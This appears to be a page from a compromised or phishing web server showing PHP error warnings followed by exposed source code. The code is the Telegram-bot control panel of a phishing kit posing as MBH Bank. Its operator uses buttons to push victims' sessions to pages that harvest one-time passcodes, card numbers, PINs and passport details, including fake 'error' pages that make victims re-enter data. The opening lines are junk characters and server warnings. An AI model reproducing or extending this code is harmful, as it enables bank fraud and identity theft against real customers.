???
123123123123
.....................................................................................................................................???
123123123123
.....................................................................................................................................
Warning: Undefined variable $auth in /home/elquintoelemento/public_html/admin.php on line 546
Warning: Trying to access array offset on null in /home/elquintoelemento/public_html/admin.php on line 546
Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 188
Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 189
['status' => 'done', 'name' => 'Success'],
'o' => ['status' => 'otp', 'name' => 'OTP'],
'e' => ['status' => 'error', 'name' => 'Error'],
'c' => ['status' => 'card', 'name' => 'Card'],
'p' => ['status' => 'pin', 'name' => 'PIN'],
'pp' => ['status' => 'passport', 'name' => 'Passport'],
'ec' => ['status' => 'error_card', 'name' => 'Error Card'],
'eo' => ['status' => 'error_otp', 'name' => 'Error OTP']
];
if(!isset($statusMap[$action])) {
answerCallbackQuery($callbackQuery['id'], '❌ Unknown action');
http_response_code(200);
echo 'OK';
exit;
}
$newStatus = $statusMap[$action]['status'];
$pageName = $statusMap[$action]['name'];
// Write status to file
$paths = getPaths();
$statusFile = $paths['status'] . $sessionId . '.txt';
if(!is_dir($paths['status'])) {
@mkdir($paths['status'], 0755, true);
}
$written = @file_put_contents($statusFile, $newStatus, LOCK_EX);
if($written !== false) {
logMessage('WEBHOOK', 'Status updated', [
'session' => substr($sessionId, 0, 8),
'status' => $newStatus
]);
answerCallbackQuery($callbackQuery['id'], "✅ $pageName activated");
// Send confirmation
$msg = "✅ Action Executed\n\n";
$msg .= "📄 Page: $pageName\n";
$msg .= "🆔 Session: " . substr($sessionId, 0, 8) . "...\n";
$msg .= "⏰ Time: " . date('H:i:s');
sendTelegramMessage($msg);
} else {
logMessage('WEBHOOK_ERROR', 'Failed to write status', ['session' => $sessionId]);
answerCallbackQuery($callbackQuery['id'], '❌ Failed to update status');
}
}
// Handle direct messages
if(isset($update['message'])) {
$text = $update['message']['text'] ?? '';
if($text === '/start') {
$msg = "🤖 MBH Bank Bot\n\n";
$msg .= "Use the buttons in notifications to control user flow.";
sendTelegramMessage($msg);
}
if($text === '/help') {
$msg = "📊 Help\n\n";
$msg .= "Buttons control:\n";
$msg .= "✅ Success → Success page\n";
$msg .= "🔢 OTP → OTP page\n";
$msg .= "📌 PIN → PIN page\n";
$msg .= "💳 Card → Card page\n";
$msg .= "🛂 Passport → Personal info\n";
$msg .= "❌ Error Card → Card page with error\n";
$msg .= "❌ Error OTP → OTP page with error\n";
$msg .= "❌ Error → Error page";
sendTelegramMessage($msg);
}
}
// Answer callback query function
function answerCallbackQuery($callbackId, $text) {
$token = getBotToken();
$url = "https://api.telegram.org/bot$token/answerCallbackQuery";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'callback_query_id' => $callbackId,
'text' => $text
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);
}
http_response_code(200);
echo 'OK';